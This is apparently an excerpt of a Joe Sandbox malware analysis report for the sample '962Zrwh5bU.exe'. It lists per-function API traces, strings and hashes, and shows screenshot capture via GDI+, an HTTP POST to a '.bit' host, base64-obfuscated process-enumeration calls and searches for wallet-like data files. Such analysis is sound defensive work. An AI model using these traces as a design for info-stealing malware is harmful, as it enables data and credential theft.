Opcode ID: d5e2efddd13ee6bc34a551c680072303310220963f966f710dacbce1a4e3c11d
Instruction ID: f92a575dc433f33311e40380f01daa42f35971930df8c8706429a41662868a04
Opcode Fuzzy Hash: d5e2efddd13ee6bc34a551c680072303310220963f966f710dacbce1a4e3c11d
Instruction Fuzzy Hash: 2611FDB58003498BCB10CF9AD444ADEFBF4AF88314F14841AE818A7240C379A545CFA1

Function 075E0514 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000018,00000001,?), ref: 075E201D

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a9160900cbf66fca3ef7682d096e9fd5f16b8446d5820777f20798bcbf024758
Instruction ID: c1f8464675f18a45652c7ca1d5be6c4b21e3640cf87aceac459a150547d0e901
Opcode Fuzzy Hash: a9160900cbf66fca3ef7682d096e9fd5f16b8446d5820777f20798bcbf024758
Instruction Fuzzy Hash: 901106B58007499FDB10DF9AD548BDEFBF8FB48310F108459E558A7240C375A944CFA5

Function 075EF580 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,075EEB47), ref: 075EF5E5

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: f7220877615b5ba23612e53c337d2f8f7f8473fc4b9b22d5a68d66349661a993
Instruction ID: a272f65cdd8d10aae70769878094b17d21dff7d8de5d68ba582d38999f533bf7
Opcode Fuzzy Hash: f7220877615b5ba23612e53c337d2f8f7f8473fc4b9b22d5a68d66349661a993
Instruction Fuzzy Hash: E011F2B5C046499FCB20DF9AD844BDEFBF8FB48314F10841AE459A7250D778A644CFA5

Function 075EE470 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,075EEB47), ref: 075EF5E5

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: bb31498e7268d6e0b4f25a2b8b5893327e687c77c564df85de70becf5093497b
Instruction ID: 55fc54426ef93e63f4f893cdd0006886589629d67bb32703254e48a49af6c5fb
Opcode Fuzzy Hash: bb31498e7268d6e0b4f25a2b8b5893327e687c77c564df85de70becf5093497b
Instruction Fuzzy Hash: 8A111DB5C046499FCB20DF9AD448ADEFBF8FB48310F10846AE818A3240D378A644CFA5

Function 075E59D8 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 075E70BD

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ec85d6acf37e2d7e6cc1a9bd4a6d4345ddd627af18436f97c7f8b6f568c29a87
Instruction ID: acedd948ddaed21c1edce6c1b6dbcdfeddbe687fd9cbd6560821f7575fb5eed3
Opcode Fuzzy Hash: ec85d6acf37e2d7e6cc1a9bd4a6d4345ddd627af18436f97c7f8b6f568c29a87
Instruction Fuzzy Hash: 101103B58007489FDB20DF9AD548BDEFBF8EB48314F108859D518A7700D379A944CFA5

Function 075E1FB8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000018,00000001,?), ref: 075E201D

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 190b7321580d1271b2f00580041ac5b5a4261a25bfc5b1df1f0db9db90eebc0c
Instruction ID: 181aea12595546cf3c0228b46c92d8fcbc09ed00c02ed33d845ed806cd736dca
Opcode Fuzzy Hash: 190b7321580d1271b2f00580041ac5b5a4261a25bfc5b1df1f0db9db90eebc0c
Instruction Fuzzy Hash: 5F1103B58003499FDB10DF9AD589BDEBBF8FF48310F10841AD558A3644C379A584CFA1

Function 075E7060 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 075E70BD

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 256b29163ca62cfce42398e1ed0bb6d38405e5b1e1f8fc747db49f80208608f4
Instruction ID: 8a8f11f6152e8ec45c0aa78d8233842cc0f5ce845c9dd591d30ba9fe62aa32d5
Opcode Fuzzy Hash: 256b29163ca62cfce42398e1ed0bb6d38405e5b1e1f8fc747db49f80208608f4
Instruction Fuzzy Hash: 691100B58003088FCB20DFAAD5497DEFBF8BB08310F24881AD558A3700D338A684CFA1

Function 00C6D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279864267.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c6d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c5ee18d90cfc045f385f4d8fc316f2ccaa30162907dce61b2b12dc4c67b201
Instruction ID: d986e4339b42093acc4c4778ba8e5e166da6071637d4b9988539c3d0fa927aea
Opcode Fuzzy Hash: 90c5ee18d90cfc045f385f4d8fc316f2ccaa30162907dce61b2b12dc4c67b201
Instruction Fuzzy Hash: 81214871A00244DFCB25DF14C9C0F26BF65FB98314F20C169E90A0B256C73AEC46CBA2

Function 00C7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279987905.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c0a735b3ced36033225bcfb7a8349a35379ca3b368cbdbb5163ac8d20996d9
Instruction ID: d875c56fb12ef47f27b18f6854e82a527210910ad96da3a97c0df3c7f804516c
Opcode Fuzzy Hash: 50c0a735b3ced36033225bcfb7a8349a35379ca3b368cbdbb5163ac8d20996d9
Instruction Fuzzy Hash: F821DE75604204DFCB14DF24D984B26BFB5FF88314F24C5A9E90E4B296C33AD806CAA2

Function 00C7D2BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279987905.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb57717ec2ed1c9b48ee3b9c908709f4b7b55e266ed9f28c36a5ce8f79b9bf0
Instruction ID: 423aef67a29fb80c3560d79adb328c07ed2b73886353d26904f64b399780f91f
Opcode Fuzzy Hash: ddb57717ec2ed1c9b48ee3b9c908709f4b7b55e266ed9f28c36a5ce8f79b9bf0
Instruction Fuzzy Hash: 6121F371504244DFDB05DF14D9C4B2ABB75FF98324F24C569E84E0B266C33AD846CAB2

Function 00C7D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279987905.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65c31a01f170d9da6fe80eccefed09568cdc1db78c3b003a0eddae575dc0414
Instruction ID: 6fd933f42c06fb12583bd0a2ae00e6c6da3f3d306fa444621134d38af73f5ab4
Opcode Fuzzy Hash: d65c31a01f170d9da6fe80eccefed09568cdc1db78c3b003a0eddae575dc0414
Instruction Fuzzy Hash: 84215E755093808FDB12CF24D994B15BF71EF46314F28C5EAD8498B6A7C33A990ACB62

Function 00C6D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279864267.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c6d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 84024fb8fdd04102f6ce9e576cfb9195015ccebb7f841153fcd28045c77f8825
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: F7112972904240CFCB12CF00D5C4B26BF71FB94314F24C6A9D90A0B256C33AD956CBA1

Function 00C7D2B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279987905.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 3a1e79b567ad6a49a6e6c79724dd8126f3b1084d515dc3b79ffa967eecfa8127
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: 02119D76504280CFDB12CF14D5C4B19BF71FB84324F28C6AAD84A4B656C33AD94ACBA2

Function 06CC04AA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3304820754.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7e8fa623bd589fe3d9fc2999953ce48c1a09c76ee4098636e0367be825a3268
Instruction ID: a81847219365e496ed8dd62de283fe57307bece2776e5fbb08650562abf5f2ff
Opcode Fuzzy Hash: e7e8fa623bd589fe3d9fc2999953ce48c1a09c76ee4098636e0367be825a3268
Instruction Fuzzy Hash: 3CE0E530A4025ACFEB74DB10C85DBEEB771BB44315F1085EEC50A76291CBB61A85CF80

Non-executed Functions

Function 00D0D304 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af02c243042b58b3bbddfe9d1e6fd60d1d6525b47a6f6387d967f067d3c9fee9
Instruction ID: 804f8a73f5efdf8982f58924dbce9447bdac15bd8cf2921b018917341310f7ba
Opcode Fuzzy Hash: af02c243042b58b3bbddfe9d1e6fd60d1d6525b47a6f6387d967f067d3c9fee9
Instruction Fuzzy Hash: F1A17336E00205CFCF25DFB5C84469EB7B2FF85300B25457AE805AB296DB71E956CB60

Analysis Process: powershell.exePID: 2944, Parent PID: 2848COMMON

Executed Functions

Function 04756C4A Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2058737675.0000000004750000.00000040.00000800.00020000.00000000.sdmp, Offset: 04750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a1b0180b16b9e58411d1315b9ec6a056ec79c8065155ab5cf42fb9ffc5846e
Instruction ID: 15d74e7b571c590942d1629e3d036ed199b5353529549ea2792875d000395d2a
Opcode Fuzzy Hash: 00a1b0180b16b9e58411d1315b9ec6a056ec79c8065155ab5cf42fb9ffc5846e
Instruction Fuzzy Hash: 7A516A34E052589FCB05CFA9D4809EDBBF2FF89310F5480AAE854AB362D735AD45CB60

Function 047529F0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2058737675.0000000004750000.00000040.00000800.00020000.00000000.sdmp, Offset: 04750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4e4b04ff85470c94cf3d8aa498842ae1125c52c28da5551aa5d729dc9254ec
Instruction ID: 5a493e63a5182c56b9017466292c322fdcbd130b566c90dd878a887dc5cf2c93
Opcode Fuzzy Hash: 9b4e4b04ff85470c94cf3d8aa498842ae1125c52c28da5551aa5d729dc9254ec
Instruction Fuzzy Hash: 5D917A74A002058FCB15CF58C5D49AAFBB1FF48310B24859AD855AB366D735FC81CFA0

Function 04752B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2058737675.0000000004750000.00000040.00000800.00020000.00000000.sdmp, Offset: 04750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d92b65e59c356d3f00794367289051b7a665f9b802446ae8e216a1d6a2def
Instruction ID: 177f227df647a67b587e0d6edc0e37a8a7a5fd835396c1e0451d3cb191d172fd
Opcode Fuzzy Hash: 4c5d92b65e59c356d3f00794367289051b7a665f9b802446ae8e216a1d6a2def
Instruction Fuzzy Hash: 5D413574A005099FCB09CF58C598AAAFBB1FF48310B1585A9D815AB366D772FC91CFA0

Function 0464D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2057020615.000000000464D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0464D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_464d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d315ace9a2fd350a10ac7713e3053ae6d6a097f5f1d7374196e715a1b19d8b80
Instruction ID: 2ec2b59d4ea05dff3100c1b7766de8ccfaf8b4e8054c153af1a60036326071e0
Opcode Fuzzy Hash: d315ace9a2fd350a10ac7713e3053ae6d6a097f5f1d7374196e715a1b19d8b80
Instruction Fuzzy Hash: D2012B319043009ADB208E15DD84B67FF9CEFD5720F18C42AED480B246E279A846C6B1

Function 0464D005 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2057020615.000000000464D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0464D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_464d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46e7ffc79522bc4f77ddfbea9fe4a4959326eae44a6332a50c73c2c0798b793
Instruction ID: f516346c105800da5606bf49a56cd31bbd34e2aee157b96be8987c8aa6ba8332
Opcode Fuzzy Hash: a46e7ffc79522bc4f77ddfbea9fe4a4959326eae44a6332a50c73c2c0798b793
Instruction Fuzzy Hash: 1F01407140E3C09ED7128B259C94B52BFB4EF93624F1DC5DBD9888F293C2699848C772

Analysis Process: 962Zrwh5bU.exePID: 5256, Parent PID: 2848COMMON

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	9

Executed Functions

Function 00417B1A Relevance: 57.8, APIs: 20, Strings: 13, Instructions: 64
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(crtdll.dll,wcscmp), ref: 00417B33
GetProcAddress.KERNEL32(00000000,crtdll.dll), ref: 00417B39
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B4D
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B53
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B67
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B6D
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B81
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B87
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B9B
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BA1
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll), ref: 00417BB5
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BBB
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll), ref: 00417BCF
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BD5
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll), ref: 00417BE9
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BEF
LoadLibraryA.KERNEL32(ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll), ref: 00417C03
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417C09
LoadLibraryA.KERNEL32(ole32.dll,GetHGlobalFromStream,00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll), ref: 00417C1D
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417C23

Strings

GdipGetImageEncoders, xrefs: 00417BAB
GdipDisposeImage, xrefs: 00417BC5
CreateStreamOnHGlobal, xrefs: 00417BF9
Gdiplus.dll, xrefs: 00417B48, 00417B62, 00417B7C, 00417B96, 00417BB0, 00417BCA, 00417BE4
GdiplusShutdown, xrefs: 00417B5D
ole32.dll, xrefs: 00417BFE, 00417C18
GetHGlobalFromStream, xrefs: 00417C13
GdiplusStartup, xrefs: 00417B43
wcscmp, xrefs: 00417B29
GdipSaveImageToStream, xrefs: 00417BDF
crtdll.dll, xrefs: 00417B2E
GdipCreateBitmapFromHBITMAP, xrefs: 00417B77
GdipGetImageEncodersSize, xrefs: 00417B91

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CreateStreamOnHGlobal$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$Gdiplus.dll$GdiplusShutdown$GdiplusStartup$GetHGlobalFromStream$crtdll.dll$ole32.dll$wcscmp
API String ID: 2574300362-2815069134
Opcode ID: 57a083585dbc8ce9df7a63cc0a821fb4195fa2904eec68678409c4ef2343df9d
Instruction ID: 8590a6e993e3993f4c60c6cfae4e59332f73d92cf5cac50a27a19d2551d8218b
Opcode Fuzzy Hash: 57a083585dbc8ce9df7a63cc0a821fb4195fa2904eec68678409c4ef2343df9d
Instruction Fuzzy Hash: 3911D0F17C430069DA0177B2DD8BAE635B4BBC1B4A730447B7104722D2E97C888196DD

Function 00418688 Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 375
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418714
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418728
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418748
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 0041875C
GetProcAddress.KERNEL32(00000000,-0000001A), ref: 00418771
GetProcAddress.KERNEL32(00000000,-0000002B), ref: 00418786
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 0041879B
GetProcAddress.KERNEL32(00000000,-00000053), ref: 004187B0
GetProcAddress.KERNEL32(00000000,-00000064), ref: 004187C5
GetProcAddress.KERNEL32(00000000,-00000075), ref: 004187DA
GetProcAddress.KERNEL32(00000000,-00000089), ref: 004187F0
GetProcAddress.KERNEL32(00000000,-0000009B), ref: 00418807
InternetCrackUrlA.WININET(00000000,00000000,90000000,?,00000000,-0000009B,00000000,-00000089,00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C), ref: 004188F3
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1),00000000,00000000,00000000,00000000,?,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C), ref: 00418984
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000), ref: 004189C4
HttpSendRequestA.WININET(00000000,00418CB8,00000000,00000000,00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418A72
InternetReadFile.WININET(00000000,?,00010064,?,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418A9D
InternetCloseHandle.WININET(00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418AD4

Strings

.bit, xrefs: 00418928
POST, xrefs: 004186DD
wininet.dll, xrefs: 00418701
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 0041897F
Host: , xrefs: 00418951

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$Internet$HandleLibraryLoad$CloseConnectCrackFileHttpModuleOpenReadRequestSend
String ID: .bit$Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$POST$wininet.dll
API String ID: 946835797-2879170074
Opcode ID: 56a08f971a344ee113826defbb1e72536bdb7fe50e4f450330abf4f2e38adec9
Instruction ID: 76fb72323b8ae20ff65678eff3f65f90e6b3cd7dcd45201054b3a4b47af70050
Opcode Fuzzy Hash: 56a08f971a344ee113826defbb1e72536bdb7fe50e4f450330abf4f2e38adec9
Instruction Fuzzy Hash: 8AE1EAB1910219ABDB10EFA5CC86BDEBBBCBF44305F10417AF504B6681DB78AA458B58

Function 00416B94 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 225
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
Process32NextW.KERNEL32(00000000,?), ref: 00416D1E
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
kernel32.dll, xrefs: 00416BFF, 00416C2D
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CloseCreateCurrentFirstHandleNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1927487376-4127804628
Opcode ID: 9a370d218ba479bacba9924df52720c8bc51f1f8e8ad6289ec54fa435578b534
Instruction ID: b4fa090e97bfe7a1d5ce5cc441e323bfe92997b970e5e29befa82c83258fdf6c
Opcode Fuzzy Hash: 9a370d218ba479bacba9924df52720c8bc51f1f8e8ad6289ec54fa435578b534
Instruction Fuzzy Hash: B4918574A001099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00415610 Relevance: 18.0, APIs: 3, Strings: 7, Instructions: 457
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,?), ref: 00415871
FindClose.KERNEL32(?), ref: 00415886

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindFirstFileW.KERNEL32(00000000,?,0041A69E), ref: 00415750

Part of subcall function 0040DDB0: CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C), ref: 0040DE38
Part of subcall function 0040DDB0: DeleteFileW.KERNEL32(00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C,00000001,?), ref: 0040DE7A

Strings

Software\, xrefs: 00415AEB
%APPDATA%\, xrefs: 00415644
\autoscan\, xrefs: 004157BD
strDataDir, xrefs: 00415AFB
.address.txt, xrefs: 0041594E, 00415981
